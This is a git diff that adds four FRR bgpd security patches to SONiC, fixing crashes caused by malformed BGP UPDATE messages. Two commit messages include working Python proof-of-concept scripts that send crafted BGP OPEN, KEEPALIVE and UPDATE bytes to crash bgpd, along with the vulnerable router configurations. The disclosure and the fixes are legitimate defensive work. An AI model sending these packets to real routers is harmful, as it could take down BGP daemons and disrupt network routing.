diff --git a/src/sonic-frr/patch/0029-bgpd-Check-mandatory-attributes-more-carefully-for-U.patch b/src/sonic-frr/patch/0029-bgpd-Check-mandatory-attributes-more-carefully-for-U.patch new file mode 100644 index 000000000000..7dbf3a85e738 --- /dev/null +++ b/src/sonic-frr/patch/0029-bgpd-Check-mandatory-attributes-more-carefully-for-U.patch @@ -0,0 +1,112 @@ +From fcc818160be57a1304481402c08962454e1dee5b Mon Sep 17 00:00:00 2001 +From: Donatas Abraitis +Date: Mon, 23 Oct 2023 23:34:10 +0300 +Subject: [PATCH 1/4] bgpd: Check mandatory attributes more carefully for + UPDATE message + +If we send a crafted BGP UPDATE message without mandatory attributes, we do +not check if the length of the path attributes is zero or not. We only check +if attr->flag is at least set or not. Imagine we send only unknown transit +attribute, then attr->flag is always 0. Also, this is true only if graceful-restart +capability is received. + +A crash: + +``` +bgpd[7834]: [TJ23Y-GY0RH] 127.0.0.1 Unknown attribute is received (type 31, length 16) +bgpd[7834]: [PCFFM-WMARW] 127.0.0.1(donatas-pc) rcvd UPDATE wlen 0 attrlen 20 alen 17 +BGP[7834]: Received signal 11 at 1698089639 (si_addr 0x0, PC 0x55eefd375b4a); aborting... +BGP[7834]: /usr/local/lib/libfrr.so.0(zlog_backtrace_sigsafe+0x6d) [0x7f3205ca939d] +BGP[7834]: /usr/local/lib/libfrr.so.0(zlog_signal+0xf3) [0x7f3205ca9593] +BGP[7834]: /usr/local/lib/libfrr.so.0(+0xf5181) [0x7f3205cdd181] +BGP[7834]: /lib/x86_64-linux-gnu/libpthread.so.0(+0x12980) [0x7f3204ff3980] +BGP[7834]: /usr/lib/frr/bgpd(+0x18ab4a) [0x55eefd375b4a] +BGP[7834]: /usr/local/lib/libfrr.so.0(route_map_apply_ext+0x310) [0x7f3205cd1290] +BGP[7834]: /usr/lib/frr/bgpd(+0x163610) [0x55eefd34e610] +BGP[7834]: /usr/lib/frr/bgpd(bgp_update+0x9a5) [0x55eefd35c1d5] +BGP[7834]: /usr/lib/frr/bgpd(bgp_nlri_parse_ip+0xb7) [0x55eefd35e867] +BGP[7834]: /usr/lib/frr/bgpd(+0x1555e6) [0x55eefd3405e6] +BGP[7834]: /usr/lib/frr/bgpd(bgp_process_packet+0x747) [0x55eefd345597] +BGP[7834]: /usr/local/lib/libfrr.so.0(event_call+0x83) [0x7f3205cef4a3] +BGP[7834]: /usr/local/lib/libfrr.so.0(frr_run+0xc0) [0x7f3205ca10a0] +BGP[7834]: /usr/lib/frr/bgpd(main+0x409) [0x55eefd2dc979] +``` + +Sending: + +``` +import socket +import time + +OPEN = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" +b"\xff\xff\x00\x62\x01\x04\xfd\xea\x00\x5a\x0a\x00\x00\x01\x45\x02" +b"\x06\x01\x04\x00\x01\x00\x01\x02\x02\x02\x00\x02\x02\x46\x00\x02" +b"\x06\x41\x04\x00\x00\xfd\xea\x02\x02\x06\x00\x02\x06\x45\x04\x00" +b"\x01\x01\x03\x02\x0e\x49\x0c\x0a\x64\x6f\x6e\x61\x74\x61\x73\x2d" +b"\x70\x63\x00\x02\x04\x40\x02\x00\x78\x02\x09\x47\x07\x00\x01\x01" +b"\x80\x00\x00\x00") + +KEEPALIVE = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" +b"\xff\xff\xff\xff\xff\xff\x00\x13\x04") + +UPDATE = bytearray.fromhex("ffffffffffffffffffffffffffffffff003c0200000014ff1f001000040146464646460004464646464646664646f50d05800100010200ffff000000") + +s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +s.connect(('127.0.0.2', 179)) +s.send(OPEN) +data = s.recv(1024) +s.send(KEEPALIVE) +data = s.recv(1024) +s.send(UPDATE) +data = s.recv(1024) +time.sleep(1000) +s.close() +``` + +Reported-by: Iggy Frankovic +Signed-off-by: Donatas Abraitis +(cherry picked from commit d8482bf011cb2b173e85b65b4bf3d5061250cdb9) + +diff --git a/bgpd/bgp_attr.c b/bgpd/bgp_attr.c +index ee20da3326..3a2d93ccd9 100644 +--- a/bgpd/bgp_attr.c ++++ b/bgpd/bgp_attr.c +@@ -3429,13 +3429,15 @@ bgp_attr_unknown(struct bgp_attr_parser_args *args) + } + + /* Well-known attribute check. */ +-static int bgp_attr_check(struct peer *peer, struct attr *attr) ++static int bgp_attr_check(struct peer *peer, struct attr *attr, ++ bgp_size_t length) + { + uint8_t type = 0; + + /* BGP Graceful-Restart End-of-RIB for IPv4 unicast is signaled as an + * empty UPDATE. */ +- if (CHECK_FLAG(peer->cap, PEER_CAP_RESTART_RCV) && !attr->flag) ++ if (CHECK_FLAG(peer->cap, PEER_CAP_RESTART_RCV) && !attr->flag && ++ !length) + return BGP_ATTR_PARSE_PROCEED; + + /* "An UPDATE message that contains the MP_UNREACH_NLRI is not required +@@ -3487,7 +3489,7 @@ enum bgp_attr_parse_ret bgp_attr_parse(struct peer *peer, struct attr *attr, + enum bgp_attr_parse_ret ret; + uint8_t flag = 0; + uint8_t type = 0; +- bgp_size_t length; ++ bgp_size_t length = 0; + uint8_t *startp, *endp; + uint8_t *attr_endp; + uint8_t seen[BGP_ATTR_BITMAP_SIZE]; +@@ -3812,7 +3814,7 @@ enum bgp_attr_parse_ret bgp_attr_parse(struct peer *peer, struct attr *attr, + } + + /* Check all mandatory well-known attributes are present */ +- ret = bgp_attr_check(peer, attr); ++ ret = bgp_attr_check(peer, attr, length); + if (ret < 0) + goto done; + +-- +2.17.1 + diff --git a/src/sonic-frr/patch/0030-bgpd-Handle-MP_REACH_NLRI-malformed-packets-with-ses.patch b/src/sonic-frr/patch/0030-bgpd-Handle-MP_REACH_NLRI-malformed-packets-with-ses.patch new file mode 100644 index 000000000000..a1f848f12706 --- /dev/null +++ b/src/sonic-frr/patch/0030-bgpd-Handle-MP_REACH_NLRI-malformed-packets-with-ses.patch @@ -0,0 +1,118 @@ +From 971f8684efceb2453accc5dcb5cbd8e4266c906d Mon Sep 17 00:00:00 2001 +From: Donatas Abraitis +Date: Fri, 20 Oct 2023 17:49:18 +0300 +Subject: [PATCH 2/4] bgpd: Handle MP_REACH_NLRI malformed packets with session + reset + +Avoid crashing bgpd. + +``` +(gdb) +bgp_mp_reach_parse (args=, mp_update=0x7fffffffe140) at bgpd/bgp_attr.c:2341 +2341 stream_get(&attr->mp_nexthop_global, s, IPV6_MAX_BYTELEN); +(gdb) +stream_get (dst=0x7fffffffe1ac, s=0x7ffff0006e80, size=16) at lib/stream.c:320 +320 { +(gdb) +321 STREAM_VERIFY_SANE(s); +(gdb) +323 if (STREAM_READABLE(s) < size) { +(gdb) +34 return __builtin___memcpy_chk (__dest, __src, __len, __bos0 (__dest)); +(gdb) + +Thread 1 "bgpd" received signal SIGSEGV, Segmentation fault. +0x00005555556e37be in route_set_aspath_prepend (rule=0x555555aac0d0, prefix=0x7fffffffe050, + object=0x7fffffffdb00) at bgpd/bgp_routemap.c:2282 +2282 if (path->attr->aspath->refcnt) +(gdb) +``` + +With the configuration: + +``` + neighbor 127.0.0.1 remote-as external + neighbor 127.0.0.1 passive + neighbor 127.0.0.1 ebgp-multihop + neighbor 127.0.0.1 disable-connected-check + neighbor 127.0.0.1 update-source 127.0.0.2 + neighbor 127.0.0.1 timers 3 90 + neighbor 127.0.0.1 timers connect 1 + address-family ipv4 unicast + redistribute connected + neighbor 127.0.0.1 default-originate + neighbor 127.0.0.1 route-map RM_IN in + exit-address-family +! +route-map RM_IN permit 10 + set as-path prepend 200 +exit +``` + +Reported-by: Iggy Frankovic +Signed-off-by: Donatas Abraitis +(cherry picked from commit b08afc81c60607a4f736f418f2e3eb06087f1a35) + +diff --git a/bgpd/bgp_attr.c b/bgpd/bgp_attr.c +index 3a2d93ccd9..a3fee07058 100644 +--- a/bgpd/bgp_attr.c ++++ b/bgpd/bgp_attr.c +@@ -2418,7 +2418,7 @@ int bgp_mp_reach_parse(struct bgp_attr_parser_args *args, + + mp_update->afi = afi; + mp_update->safi = safi; +- return BGP_ATTR_PARSE_EOR; ++ return bgp_attr_malformed(args, BGP_NOTIFY_UPDATE_MAL_ATTR, 0); + } + + mp_update->afi = afi; +@@ -3739,10 +3739,6 @@ enum bgp_attr_parse_ret bgp_attr_parse(struct peer *peer, struct attr *attr, + goto done; + } + +- if (ret == BGP_ATTR_PARSE_EOR) { +- goto done; +- } +- + if (ret == BGP_ATTR_PARSE_ERROR) { + flog_warn(EC_BGP_ATTRIBUTE_PARSE_ERROR, + "%s: Attribute %s, parse error", peer->host, +diff --git a/bgpd/bgp_attr.h b/bgpd/bgp_attr.h +index 33283f4bf6..ba8d4fc735 100644 +--- a/bgpd/bgp_attr.h ++++ b/bgpd/bgp_attr.h +@@ -379,7 +379,6 @@ enum bgp_attr_parse_ret { + /* only used internally, send notify + convert to BGP_ATTR_PARSE_ERROR + */ + BGP_ATTR_PARSE_ERROR_NOTIFYPLS = -3, +- BGP_ATTR_PARSE_EOR = -4, + }; + + struct bpacket_attr_vec_arr; +diff --git a/bgpd/bgp_packet.c b/bgpd/bgp_packet.c +index a02d548941..5e0312a72d 100644 +--- a/bgpd/bgp_packet.c ++++ b/bgpd/bgp_packet.c +@@ -2060,8 +2060,7 @@ static int bgp_update_receive(struct peer *peer, bgp_size_t size) + * Non-MP IPv4/Unicast EoR is a completely empty UPDATE + * and MP EoR should have only an empty MP_UNREACH + */ +- if ((!update_len && !withdraw_len && nlris[NLRI_MP_UPDATE].length == 0) +- || (attr_parse_ret == BGP_ATTR_PARSE_EOR)) { ++ if (!update_len && !withdraw_len && nlris[NLRI_MP_UPDATE].length == 0) { + afi_t afi = 0; + safi_t safi; + struct graceful_restart_info *gr_info; +@@ -2082,9 +2081,6 @@ static int bgp_update_receive(struct peer *peer, bgp_size_t size) + && nlris[NLRI_MP_WITHDRAW].length == 0) { + afi = nlris[NLRI_MP_WITHDRAW].afi; + safi = nlris[NLRI_MP_WITHDRAW].safi; +- } else if (attr_parse_ret == BGP_ATTR_PARSE_EOR) { +- afi = nlris[NLRI_MP_UPDATE].afi; +- safi = nlris[NLRI_MP_UPDATE].safi; + } + + if (afi && peer->afc[afi][safi]) { +-- +2.17.1 + diff --git a/src/sonic-frr/patch/0031-bgpd-Treat-EOR-as-withdrawn-to-avoid-unwanted-handli.patch b/src/sonic-frr/patch/0031-bgpd-Treat-EOR-as-withdrawn-to-avoid-unwanted-handli.patch new file mode 100644 index 000000000000..4639e8c87cd4 --- /dev/null +++ b/src/sonic-frr/patch/0031-bgpd-Treat-EOR-as-withdrawn-to-avoid-unwanted-handli.patch @@ -0,0 +1,106 @@ +From 621f2efd64b305e96bb2941110e93bfbe5f9eda2 Mon Sep 17 00:00:00 2001 +From: Donatas Abraitis +Date: Fri, 27 Oct 2023 11:56:45 +0300 +Subject: [PATCH 3/4] bgpd: Treat EOR as withdrawn to avoid unwanted handling + of malformed attrs + +Treat-as-withdraw, otherwise if we just ignore it, we will pass it to be +processed as a normal UPDATE without mandatory attributes, that could lead +to harmful behavior. In this case, a crash for route-maps with the configuration +such as: + +``` +router bgp 65001 + no bgp ebgp-requires-policy + neighbor 127.0.0.1 remote-as external + neighbor 127.0.0.1 passive + neighbor 127.0.0.1 ebgp-multihop + neighbor 127.0.0.1 disable-connected-check + neighbor 127.0.0.1 update-source 127.0.0.2 + neighbor 127.0.0.1 timers 3 90 + neighbor 127.0.0.1 timers connect 1 + ! + address-family ipv4 unicast + neighbor 127.0.0.1 addpath-tx-all-paths + neighbor 127.0.0.1 default-originate + neighbor 127.0.0.1 route-map RM_IN in + exit-address-family +exit +! +route-map RM_IN permit 10 + set as-path prepend 200 +exit +``` + +Send a malformed optional transitive attribute: + +``` +import socket +import time + +OPEN = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" +b"\xff\xff\x00\x62\x01\x04\xfd\xea\x00\x5a\x0a\x00\x00\x01\x45\x02" +b"\x06\x01\x04\x00\x01\x00\x01\x02\x02\x02\x00\x02\x02\x46\x00\x02" +b"\x06\x41\x04\x00\x00\xfd\xea\x02\x02\x06\x00\x02\x06\x45\x04\x00" +b"\x01\x01\x03\x02\x0e\x49\x0c\x0a\x64\x6f\x6e\x61\x74\x61\x73\x2d" +b"\x70\x63\x00\x02\x04\x40\x02\x00\x78\x02\x09\x47\x07\x00\x01\x01" +b"\x80\x00\x00\x00") + +KEEPALIVE = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" +b"\xff\xff\xff\xff\xff\xff\x00\x13\x04") + +UPDATE = bytearray.fromhex("ffffffffffffffffffffffffffffffff002b0200000003c0ff00010100eb00ac100b0b001ad908ac100b0b") + +s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +s.connect(('127.0.0.2', 179)) +s.send(OPEN) +data = s.recv(1024) +s.send(KEEPALIVE) +data = s.recv(1024) +s.send(UPDATE) +data = s.recv(1024) +time.sleep(100) +s.close() +``` + +Reported-by: Iggy Frankovic +Signed-off-by: Donatas Abraitis + +diff --git a/bgpd/bgp_attr.c b/bgpd/bgp_attr.c +index a3fee07058..bdf078e7c8 100644 +--- a/bgpd/bgp_attr.c ++++ b/bgpd/bgp_attr.c +@@ -3435,10 +3435,13 @@ static int bgp_attr_check(struct peer *peer, struct attr *attr, + uint8_t type = 0; + + /* BGP Graceful-Restart End-of-RIB for IPv4 unicast is signaled as an +- * empty UPDATE. */ ++ * empty UPDATE. Treat-as-withdraw, otherwise if we just ignore it, ++ * we will pass it to be processed as a normal UPDATE without mandatory ++ * attributes, that could lead to harmful behavior. ++ */ + if (CHECK_FLAG(peer->cap, PEER_CAP_RESTART_RCV) && !attr->flag && + !length) +- return BGP_ATTR_PARSE_PROCEED; ++ return BGP_ATTR_PARSE_WITHDRAW; + + /* "An UPDATE message that contains the MP_UNREACH_NLRI is not required + to carry any other path attributes.", though if MP_REACH_NLRI or NLRI +@@ -3866,7 +3869,13 @@ done: + aspath_unintern(&as4_path); + + transit = bgp_attr_get_transit(attr); +- if (ret != BGP_ATTR_PARSE_ERROR) { ++ /* If we received an UPDATE with mandatory attributes, then ++ * the unrecognized transitive optional attribute of that ++ * path MUST be passed. Otherwise, it's an error, and from ++ * security perspective it might be very harmful if we continue ++ * here with the unrecognized attributes. ++ */ ++ if (ret == BGP_ATTR_PARSE_PROCEED) { + /* Finally intern unknown attribute. */ + if (transit) + bgp_attr_set_transit(attr, transit_intern(transit)); +-- +2.17.1 + diff --git a/src/sonic-frr/patch/0032-bgpd-Ignore-handling-NLRIs-if-we-received-MP_UNREACH.patch b/src/sonic-frr/patch/0032-bgpd-Ignore-handling-NLRIs-if-we-received-MP_UNREACH.patch new file mode 100644 index 000000000000..12f1d909509f --- /dev/null +++ b/src/sonic-frr/patch/0032-bgpd-Ignore-handling-NLRIs-if-we-received-MP_UNREACH.patch @@ -0,0 +1,88 @@ +From 4f75184ed110ffb002b0125797e0395cfa6e9ce8 Mon Sep 17 00:00:00 2001 +From: Donatas Abraitis +Date: Sun, 29 Oct 2023 22:44:45 +0200 +Subject: [PATCH 4/4] bgpd: Ignore handling NLRIs if we received + MP_UNREACH_NLRI + +If we receive MP_UNREACH_NLRI, we should stop handling remaining NLRIs if +no mandatory path attributes received. + +In other words, if MP_UNREACH_NLRI received, the remaining NLRIs should be handled +as a new data, but without mandatory attributes, it's a malformed packet. + +In normal case, this MUST not happen at all, but to avoid crashing bgpd, we MUST +handle that. + +Reported-by: Iggy Frankovic +Signed-off-by: Donatas Abraitis + +diff --git a/bgpd/bgp_attr.c b/bgpd/bgp_attr.c +index bdf078e7c8..43a3cc91af 100644 +--- a/bgpd/bgp_attr.c ++++ b/bgpd/bgp_attr.c +@@ -3443,15 +3443,6 @@ static int bgp_attr_check(struct peer *peer, struct attr *attr, + !length) + return BGP_ATTR_PARSE_WITHDRAW; + +- /* "An UPDATE message that contains the MP_UNREACH_NLRI is not required +- to carry any other path attributes.", though if MP_REACH_NLRI or NLRI +- are present, it should. Check for any other attribute being present +- instead. +- */ +- if ((!CHECK_FLAG(attr->flag, ATTR_FLAG_BIT(BGP_ATTR_MP_REACH_NLRI)) && +- CHECK_FLAG(attr->flag, ATTR_FLAG_BIT(BGP_ATTR_MP_UNREACH_NLRI)))) +- return BGP_ATTR_PARSE_PROCEED; +- + if (!CHECK_FLAG(attr->flag, ATTR_FLAG_BIT(BGP_ATTR_ORIGIN))) + type = BGP_ATTR_ORIGIN; + +@@ -3470,6 +3461,16 @@ static int bgp_attr_check(struct peer *peer, struct attr *attr, + && !CHECK_FLAG(attr->flag, ATTR_FLAG_BIT(BGP_ATTR_LOCAL_PREF))) + type = BGP_ATTR_LOCAL_PREF; + ++ /* An UPDATE message that contains the MP_UNREACH_NLRI is not required ++ * to carry any other path attributes. Though if MP_REACH_NLRI or NLRI ++ * are present, it should. Check for any other attribute being present ++ * instead. ++ */ ++ if (!CHECK_FLAG(attr->flag, ATTR_FLAG_BIT(BGP_ATTR_MP_REACH_NLRI)) && ++ CHECK_FLAG(attr->flag, ATTR_FLAG_BIT(BGP_ATTR_MP_UNREACH_NLRI))) ++ return type ? BGP_ATTR_PARSE_MISSING_MANDATORY ++ : BGP_ATTR_PARSE_PROCEED; ++ + /* If any of the well-known mandatory attributes are not present + * in an UPDATE message, then "treat-as-withdraw" MUST be used. + */ +diff --git a/bgpd/bgp_attr.h b/bgpd/bgp_attr.h +index ba8d4fc735..275965fe62 100644 +--- a/bgpd/bgp_attr.h ++++ b/bgpd/bgp_attr.h +@@ -379,6 +379,7 @@ enum bgp_attr_parse_ret { + /* only used internally, send notify + convert to BGP_ATTR_PARSE_ERROR + */ + BGP_ATTR_PARSE_ERROR_NOTIFYPLS = -3, ++ BGP_ATTR_PARSE_MISSING_MANDATORY = -4, + }; + + struct bpacket_attr_vec_arr; +diff --git a/bgpd/bgp_packet.c b/bgpd/bgp_packet.c +index 5e0312a72d..59f895ac58 100644 +--- a/bgpd/bgp_packet.c ++++ b/bgpd/bgp_packet.c +@@ -1983,7 +1983,12 @@ static int bgp_update_receive(struct peer *peer, bgp_size_t size) + /* Network Layer Reachability Information. */ + update_len = end - stream_pnt(s); + +- if (update_len && attribute_len) { ++ /* If we received MP_UNREACH_NLRI attribute, but also NLRIs, then ++ * NLRIs should be handled as a new data. Though, if we received ++ * NLRIs without mandatory attributes, they should be ignored. ++ */ ++ if (update_len && attribute_len && ++ attr_parse_ret != BGP_ATTR_PARSE_MISSING_MANDATORY) { + /* Set NLRI portion to structure. */ + nlris[NLRI_UPDATE].afi = AFI_IP; + nlris[NLRI_UPDATE].safi = SAFI_UNICAST; +-- +2.17.1 + diff --git a/src/sonic-frr/patch/series b/src/sonic-frr/patch/series index 3475b8b61628..6e18bb393513 100644 --- a/src/sonic-frr/patch/series +++ b/src/sonic-frr/patch/series @@ -28,3 +28,7 @@ cross-compile-changes.patch 0026-zebra-Add-encap-type-when-building-packet-for-FPM.patch 0027-zebra-Fix-non-notification-of-better-admin-won.patch 0028-zebra-Fix-fpm-multipath-encap-addition.patch +0029-bgpd-Check-mandatory-attributes-more-carefully-for-U.patch +0030-bgpd-Handle-MP_REACH_NLRI-malformed-packets-with-ses.patch +0031-bgpd-Treat-EOR-as-withdrawn-to-avoid-unwanted-handli.patch +0032-bgpd-Ignore-handling-NLRIs-if-we-received-MP_UNREACH.patch